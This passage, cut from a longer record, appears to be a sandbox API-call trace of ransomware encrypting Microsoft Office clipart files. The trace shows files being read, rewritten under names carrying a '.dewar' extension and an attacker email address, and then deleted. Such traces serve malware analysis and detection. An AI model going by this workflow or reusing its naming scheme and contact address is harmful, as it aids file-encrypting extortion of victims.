dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0274.521] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0274.522] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0274.522] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x208 [0274.523] ReadFile (in: hFile=0x1e0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0xcb3, lpOverlapped=0x0) returned 1 [0274.530] WriteFile (in: hFile=0x208, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xcc0, lpOverlapped=0x0) returned 1 [0274.534] WriteFile (in: hFile=0x208, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0274.534] CloseHandle (hObject=0x1e0) returned 1 [0274.534] CloseHandle (hObject=0x208) returned 1 [0274.535] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 0 [0274.536] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0274.538] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=8097) returned 1 [0274.538] CloseHandle (hObject=0x208) returned 1 [0274.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0274.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0x20 [0274.538] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0274.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0274.539] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0274.539] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0274.539] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0274.540] ReadFile (in: hFile=0x208, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x1fa1, lpOverlapped=0x0) returned 1 [0274.544] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x1fb0, lpOverlapped=0x0) returned 1 [0274.547] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0274.547] CloseHandle (hObject=0x208) returned 1 [0274.548] CloseHandle (hObject=0x1e0) returned 1 [0274.550] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00040_.gif")) returned 0 [0274.551] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0274.552] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=7686) returned 1 [0274.552] CloseHandle (hObject=0x1e0) returned 1 [0274.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0274.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0x20 [0274.552] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0274.553] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0274.554] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0274.554] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0274.554] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x208 [0274.556] ReadFile (in: hFile=0x1e0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x1e06, lpOverlapped=0x0) returned 1 [0274.560] WriteFile (in: hFile=0x208, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x1e10, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x1e10, lpOverlapped=0x0) returned 1 [0274.563] WriteFile (in: hFile=0x208, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0274.563] CloseHandle (hObject=0x1e0) returned 1 [0274.564] CloseHandle (hObject=0x208) returned 1 [0274.566] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00052_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00052_.gif")) returned 0 [0274.566] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0274.567] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=11891) returned 1 [0274.568] CloseHandle (hObject=0x208) returned 1 [0274.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0274.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0x20 [0274.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0275.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0275.637] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0275.637] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0275.637] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b0 [0275.659] ReadFile (in: hFile=0x1e0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x2e73, lpOverlapped=0x0) returned 1 [0275.667] WriteFile (in: hFile=0x1b0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x2e80, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x2e80, lpOverlapped=0x0) returned 1 [0275.670] WriteFile (in: hFile=0x1b0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0275.670] CloseHandle (hObject=0x1e0) returned 1 [0275.671] CloseHandle (hObject=0x1b0) returned 1 [0275.675] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00057_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00057_.gif")) returned 0 [0275.675] SetEvent (hEvent=0x118) returned 1 [0275.677] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0275.678] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=517) returned 1 [0275.678] CloseHandle (hObject=0x1b0) returned 1 [0275.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0275.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0x20 [0275.678] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0275.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0275.679] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0275.679] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0275.679] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0275.684] ReadFile (in: hFile=0x1b0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x205, lpOverlapped=0x0) returned 1 [0275.687] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x210, lpOverlapped=0x0) returned 1 [0275.690] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0275.690] CloseHandle (hObject=0x1b0) returned 1 [0275.691] CloseHandle (hObject=0x1e0) returned 1 [0275.694] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00090_.gif")) returned 0 [0275.695] SetEvent (hEvent=0x118) returned 1 [0275.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0275.696] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=502) returned 1 [0275.696] CloseHandle (hObject=0x1e0) returned 1 [0275.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0275.696] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0x20 [0275.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0275.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0275.697] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0275.697] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0275.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b0 [0275.698] ReadFile (in: hFile=0x1e0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x1f6, lpOverlapped=0x0) returned 1 [0275.703] WriteFile (in: hFile=0x1b0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x200, lpOverlapped=0x0) returned 1 [0275.706] WriteFile (in: hFile=0x1b0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0275.707] CloseHandle (hObject=0x1e0) returned 1 [0275.707] CloseHandle (hObject=0x1b0) returned 1 [0275.710] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00092_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00092_.gif")) returned 0 [0275.711] SetEvent (hEvent=0x118) returned 1 [0275.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0275.728] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=12702) returned 1 [0275.728] CloseHandle (hObject=0x1b0) returned 1 [0275.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0275.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0x20 [0275.729] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0275.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0275.730] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0275.730] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0275.730] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1e0 [0275.731] ReadFile (in: hFile=0x1b0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0x319e, lpOverlapped=0x0) returned 1 [0275.740] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0x31a0, lpOverlapped=0x0) returned 1 [0275.744] WriteFile (in: hFile=0x1e0, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesWritten=0x319fa60*=0xf2, lpOverlapped=0x0) returned 1 [0275.744] CloseHandle (hObject=0x1b0) returned 1 [0275.744] CloseHandle (hObject=0x1e0) returned 1 [0275.750] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00103_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00103_.gif")) returned 0 [0275.750] SetEvent (hEvent=0x118) returned 1 [0275.751] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0275.752] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x319faa8 | out: lpFileSize=0x319faa8*=3484) returned 1 [0275.752] CloseHandle (hObject=0x1e0) returned 1 [0275.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0275.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif")) returned 0x20 [0275.752] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar")) returned 0xffffffff [0275.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0275.753] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0275.753] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fa70 | out: lpNewFilePointer=0x0) returned 1 [0275.753] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00120_.GIF.id[9C354B42-2713].[chagenak@airmail.cc].dewar" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00120_.gif.id[9c354b42-2713].[chagenak@airmail.cc].dewar"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x128 [0276.087] ReadFile (in: hFile=0x1e0, lpBuffer=0x32c0020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x319fa7c, lpOverlapped=0x0 | out: lpBuffer=0x32c0020*, lpNumberOfBytesRead=0x319fa7c*=0xd9c, lpOverlapped=0x0) returned 1 [0281.661] WriteFile (in: hFile=0x128, lpBuffer=0x32c0020*, nNumberOfBytesToWrite=0xda0, lpNumberOfBytesWritten=0x319fa60, lpOverlapped=0x0 | out: 